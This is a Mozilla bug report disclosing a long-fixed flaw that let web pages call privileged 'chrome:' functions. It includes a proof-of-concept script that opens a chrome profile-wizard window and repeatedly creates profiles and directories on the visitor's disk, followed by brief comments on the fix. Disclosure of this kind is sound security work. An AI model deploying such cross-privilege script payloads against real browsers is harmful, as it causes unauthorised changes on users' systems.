21923 - Executing functions in "chrome:" protocol - #2.

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[joro]

There is another chrome vulnerability, which allows executing JavaScript
functions in the "chrome:" protocol.
This is dangerous because such functions have much more priviligies than
JavaScript functions loaded from a web page.
If one opens a "chrome:" url in a window, he have access to all functions in the
window and the functions are executed by "windowname.functionname()" in the
"chrome:" protocol.
Some of the predefined functions in the Mozilla chrome may do dangerous things.

The code is:
----------------------------------------------------------------------
<SCRIPT>
b=window.open("","victim");
function g()
{
b.profile.createNewProfile("georgi","c:\\georgi\\");
alert("Profile created! You'd better close this window because directories are
created");
}
setInterval("g()",4000);
</SCRIPT>

<A HREF="chrome://profile/content/createProfileWizard.xul"
TARGET="victim">Follow this link for demonstration</A>
----------------------------------------------------------------------

Comment 1

[Norris Boyd]

Added call to CheckLoadURI from TriggerLink.

Comment 2

[John Unruh]

Verified fixed.

Comment 3

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.